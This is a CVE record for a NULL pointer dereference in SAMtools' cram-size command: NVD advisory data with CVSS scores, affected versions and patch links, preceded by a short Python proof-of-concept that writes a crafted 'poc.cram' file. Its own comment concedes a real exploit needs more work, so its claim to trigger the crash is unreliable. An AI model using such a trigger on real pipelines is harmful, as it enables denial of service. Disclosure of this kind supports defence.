CVE-2026-31973

# PoC概念验证 - 触发SAMtools NULL指针解引用 # 此PoC仅用于安全研究和漏洞测试 # 使用方法：samtools cram_size malicious.cram # 构造触发漏洞的CRAM文件（十六进制表示） # 实际PoC需要逆向分析CRAM格式并构造特定数据 import struct def generate_poc_cram(): """生成触发CVE-2026-31973的CRAM测试文件""" # CRAM文件头部 header = b'CRAM' # Magic number header += struct.pack('>I', 3) # Version 3 header += struct.pack('>I', 1000) # File ID # 构造压缩容器 - 触发cram_decode_compression_header()错误 container = bytearray() container += b'\x00' * 50 # 填充数据 with open('poc.cram', 'wb') as f: f.write(header + container) print('PoC file generated: poc.cram') print('执行: samtools cram_size poc.cram') if __name__ == '__main__': generate_poc_cram()

{"cve": {"id": "CVE-2026-31973", "sourceIdentifier": "[email protected]", "published": "2026-03-18T21:16:26.250", "lastModified": "2026-03-19T18:48:10.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAMtools is a program for reading, manipulating and writing bioinformatics file formats. Starting in version 1.17, in the cram-size command, used to write information about how well CRAM files are compressed, a check to see if the `cram_decode_compression_header()` was missing. If the function returned an error, this could lead to a NULL pointer dereference. Exploiting this bug causes a NULL pointer dereference. Typically this will cause the program to crash. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue."}, {"lang": "es", "value": "SAMtools es un programa para leer, manipular y escribir formatos de archivo bioinformáticos. A partir de la versión 1.17, en el comando cram-size, utilizado para escribir información sobre qué tan bien se comprimen los archivos CRAM, se omitió una comprobación para ver si 'cram_decode_compression_header()' estaba ausente. Si la función devolvía un error, esto podría llevar a una desreferenciación de puntero NULL. Explotar este error causa una desreferenciación de puntero NULL. Típicamente, esto hará que el programa falle. Las versiones 1.23.1, 1.22.2 y 1.21.1 incluyen correcciones para este problema. No hay una solución alternativa para este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samtools:samtools:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.17", "versionEndIncluding": "1.21.1", "matchCriteriaId": "2AAB5401-9187-4F27-A463-B52558DE6D9D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:samtools:samtools:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.22", "versionEndExcluding": "1.22.2", "matchCriteriaId": "AD12CAC6-5A57-435F-991C-FFA0DB2F3400"}, {"vulnerable": true, "criteria": "cpe:2.3:a:samtools:samtools:1.23:*:*:*:*:*:*:*", "matchCriteriaId": "7FAB480A-76D2-4850-B9D0-4D7F9C32B8C4"}]}]}], "references": [{"url": "https://github.com/samtools/samtools/commit/06fc2a219b3d7c94d3f412c09f6d1efd51199f2f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/samtools/samtools/security/advisories/GHSA-x86f-q6fj-cm43", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/18/12", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}